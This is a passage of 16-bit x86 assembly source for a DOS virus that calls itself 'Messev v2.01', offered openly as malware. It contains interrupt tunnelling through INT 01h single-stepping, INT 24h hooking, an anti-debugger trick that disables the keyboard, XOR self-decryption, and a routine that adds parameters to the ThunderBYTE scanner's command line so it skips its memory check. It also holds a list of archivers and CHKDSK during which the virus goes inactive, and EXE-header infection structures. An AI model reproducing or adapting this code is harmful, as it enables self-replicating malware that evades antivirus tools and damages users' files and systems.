disk interrupt 13h. === OldInt13h: PUSHF CALL DWORD PTR CS:Int13h RETN ; === Tunnelled DOS-interrupt 21h. === OldInt21h: PUSHF CALL DWORD PTR CS:Int21h RETN ;====( Get interrupt vector )================================================ ; ; AL = Interrupt number to hook. ; ; Return: CX:BX = Pointer to INT. ;============================================================================ GetInt: PUSH SI PUSH DS PUSH AX MOV AH, 4 ; Calculate offset in MUL AH ; interrupt-table. XCHG SI, AX XOR AX, AX MOV DS, AX CLI ; Get handler-address. MOV BX, DS:[SI] MOV CX, DS:[SI+2] STI POP AX POP DS POP SI RETN ;====( Set interrupt vector )================================================ ; ; AL = Interrupt number to hook. ; ; Returns: ; ; CX:BX = Pointer to handler. ;============================================================================ SetInt: PUSH SI PUSH DS PUSH AX MOV AH, 4 ; Calculate offset in MUL AH ; interrupt-table. XCHG SI, AX XOR AX, AX MOV DS, AX CLI ; Set new address. MOV DS:[SI], BX MOV DS:[SI+2], CX STI POP AX POP DS POP SI RETN ; === Finds the original BIOS & DOS entrypoint. === Tracer: CALL Push_All MOV AH, 52h ; List of lists. INT 21h MOV AX, ES:[BX-02h] ; Get 1st MCB. MOV First_MCB, AX MOV AL, 01h ; Save INT 01h. CALL GetInt MOV Int01h, BX MOV Int01h+2, CX MOV AL, 01h ; Hook INT 01h. MOV BX, OFFSET NewInt01h MOV CX, CS CALL SetInt MOV AL, Trace_Mode ; Get address from vector. CALL GetInt PUSHF POP AX OR AH, 01h ; TF on. PUSH AX POPF CMP Trace_Mode, Bios JNE Mode_Dos MOV Int13h, BX MOV Int13h+2, CX XOR AH, AH ; Reset disk. MOV DL, 80h CALL OldInt13h JMP Exit_Tracer Mode_Dos: MOV Int21h, BX MOV Int21h+2, CX MOV AX, 3000h ; Get DOS-version (OEM). CALL OldInt21h Exit_Tracer: PUSHF POP AX AND AH, NOT 01h ; TF off (just in case). PUSH AX POPF MOV AL, 01h ; Restore INT 01h. MOV BX, Int01h MOV CX, Int01h+2 CALL SetInt CALL Pop_All RETN ; I should be learning 4 my exams right now... Yeah right! DB 'If I don''t pass... fuck it!', 0 DB 'SKLSUX!' NewInt01h: PUSH BP MOV BP, SP PUSH AX MOV AX, [BP+4] ; Segment. CMP CS:Trace_Mode, Bios JNE Trace_Dos CMP AH, 0C0h ; In BIOS-segment? JB Not_In_Bios ; Continue when not. MOV CS:Int13h+2, AX MOV AX, [BP+2] MOV CS:Int13h, AX JMP Diss_Flag Trace_Dos: CMP AX, CS:First_MCB ; In DOS-segment? JNB Not_In_Bios ; Continue when not. MOV CS:Int21h+2, AX MOV AX, [BP+2] MOV CS:Int21h, AX Diss_Flag: ; TF off. AND BYTE PTR [BP+7], NOT 01h Not_In_Bios: POP AX POP BP IRET ; Taken from Predator virus. Push_All: POP CS:Ret_Add ; Pop return address to variable. PUSHF PUSH AX PUSH BX PUSH CX PUSH DX PUSH SI PUSH DI PUSH DS PUSH ES PUSH BP JMP CS:Ret_Add ; Push return address on ; the stack. Pop_All: POP CS:Ret_Add ; Save return address. POP BP POP ES POP DS POP DI POP SI POP DX POP CX POP BX POP AX POPF JMP CS:Ret_Add ; Gets the SFT-address. *UNDOCUMENTED* ; BX = Handle. ; Get_DCB: PUSH BX MOV AX, 1220h ; Get DCB-number. INT 2Fh MOV AX, 1216h ; Get DCB-address. MOV BL, ES:[DI] INT 2Fh POP BX RETN ; If TBSCAN is executed the virus adds the following parameters: NM & CO ; NM = Skip memory-check. (Messev will not be found in memory). ; CO = Compatible mode, (uses DOS-filesystem, WITH our stealth). TBSCAN DB 'TBSCAN.' ; ThunderBYTE Scanner. ; During execution of one of these programs, the virus will be inactive, ; (no stealth, no infect). No_Active: DB 'PKZIP.E' ; PKZIP.EXE DB 'ARJ.EXE' ; ARJ.EXE DB 'LHA.EXE' ; LHA.EXE DB 'RAR.EXE' ; RAR.EXE DB 'CHKDSK.' ; CHKDSK.EXE End_No_Active: Hook_i24h: CALL Push_All MOV AL, 24h ; Get INT 24h. CALL GetInt MOV CS:Int24h, BX MOV CS:Int24h+2, CX MOV AL, 24h ; Hook INT 24h. MOV BX, OFFSET NewInt24h MOV CX, CS CALL SetInt CALL Pop_All RETN ; I would really recommend getting this CD ; (yes, it's da theme-music from Carmageddon). DB '[ DEMANUFACTURE - FEAR FACTORY ]' Unhook_i24h: CALL Push_All MOV AL, 24h ; Restore INT 24h. MOV BX, CS:Int24h MOV CX, CS:Int24h+2 CALL SetInt CALL Pop_All RETN ; Dummy Critical Error handler. NewInt24h: MOV AL, 03h IRET ;======================================================================= ; Search a table & (re)set zeroflag depending on result. ZF when found. ; ; DS:SI = Line ; CS:DI = Table ; CX = Number of names to compare. ;======================================================================= Search_Table: PUSH AX PUSH BX PUSH SI PUSH DI PUSH BP PUSH DS PUSH ES PUSH CX PUSH DI PUSH ES PUSH DS POP ES PUSH SI POP DI CLD ; Find end of filename. MOV AL, '.' MOV CX, 127 REPNE SCASB MOV AL, '\' ; Find start of filename. STD MOV CX, 127 REPNE SCASB MOV BP, ES:[DI+2] ; Get first 7 bytes. MOV BX, ES:[DI+4] MOV DX, ES:[DI+6] MOV AL, ES:[DI+8] POP ES POP DI POP CX Find_Match: CMP CS:[DI+0], BP ; Compare first word. JNE Not_Found CMP CS:[DI+2], BX ; Compare second word. JNE Not_Found CMP CS:[DI+4], DX ; Duh? JNE Not_Found CMP CS:[DI+6], AL ; And last byte. JNE Not_Found CMP AX, AX ; Set ZF. JMP Exit_Search Not_Found: ADD DI, 7 ; Next entry in table. LOOP Find_Match XOR AX, AX ; Some stupid way of NOT AL ; setting the zeroflag. CMP AL, AH Exit_Search: POP ES POP DS POP BP POP DI POP SI POP BX POP AX RETN ; Is the handle in BX corresponding to a file or a device? (sets ZF). Check_Handle: PUSH DX MOV AX, 4400h ; IOCTL CALL OldInt21h TEST DL, 80h ; Filehandle? POP DX RETN Port_Driver DB 'C:\WINDOWS\SYSTEM\IOSUBSYS\HDFLOP.PDR', 0 Parameters DB ' NM CO', 0Dh End_Encrypted_File: NOP_Msg DB '$' ; === VIRUS ENTRYPOINT === START: CALL Get_Delta ; Get delta-offset. Get_Delta: POP SI SUB SI, OFFSET Get_Delta PUSH BX PUSH CX PUSH DX PUSH DI PUSH DS PUSH ES PUSH SI IN AL, 21h ; Take-out keyboard. OR AL, 02h ; - ANTI-DEBUGGER - OUT 21h, AL PUSH CS POP DS MOV BX, SI MOV CX, OFFSET End_Encrypted_File Decrypt_Byte: XOR BYTE PTR [BX], 0 ; Decrypt our body. ORG $-1 File_Key DB 0 INC BX MOV AH, 09h ; Prints a empty string. MOV DX, OFFSET NOP_Msg ; (Anti-TbScan). ADD DX, SI ; Add delta-offset. INT 21h LOOP Decrypt_Byte JMP Entry ; === Original first 24 bytes of the hostfile. === Old_Bytes: DW 'ZM' ; Host is a .EXE-file. DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW 0 DW OFFSET Carrier ; Host's IP. DW 0 ; Host's CS, same as virus. Virus_End: Header DB 24 DUP(0) ; Used during infection. Temp_Buffer DB 24 DUP(0) ; Used as a temp. storing buffer. ; === TEMP. VARIABLES === Init_Status DB 0 Status DB 0 ; Statusbits. Int01h DW 0, 0 ; Address INT 01h. Int21h DW 0, 0 ; Tunnelled INT 21h. Int24h DW 0, 0 ; Address critical error-handler. New_Pos DW 0, 0 Old_Pos DW 0, 0 File_Pos DW 0, 0 Read_Bytes DW 0 First_MCB DW 0 ; 1st Memory Control Block. Trace_Mode DB 0 ; Are we tracing BIOS or DOS-interrupt? Ret_Add DW 0 Tunnel_Int DW 0, 0 ; Address of the tunnelled interrupt. Read_Buffer DW 0, 0 FileTime DW 0 ; Duh?! FileDate DW 0 Temp DB 0 Buffer: Carrier: PUSH CS POP DS MOV AH, 09h ; Display warning. MOV DX, OFFSET Warning_Msg INT 21h MOV AX, 4C00h ; Exit to DOS. INT 21h Warning_Msg DB 'WARNING: This program is infected with ' DB 'the Messev v2.01 virus!', 0Ah, 0Dh, '$' ; Structure of the .EXE-header. EXE_Header STRUC Mark DW 0 ; .EXE-identifier (always 'MZ'). Mod512 DW 0 ; Filesize MOD 512. Byte_Pages DW 0 ; Filesize in 512-byte pages (rounded-up). Num_Reloc DW 0 ; HeaderSize DW 0 ; Headersize in paragraphs. MinMem DW 0 ; Minimal memory requirements in paragraphs. MaxMem DW 0 ; Maximal memory requirements in paragraphs. Init_SS DW 0 ; Program's SS. Init_SP DW 0 ; Initial SP. Checksum DW 0 ; Checksum, unused by MS-DOS, used by us. Init_IP DW 0 ; Initial IP. Init_CS DW 0 ; CS. EXE_Header ENDS END START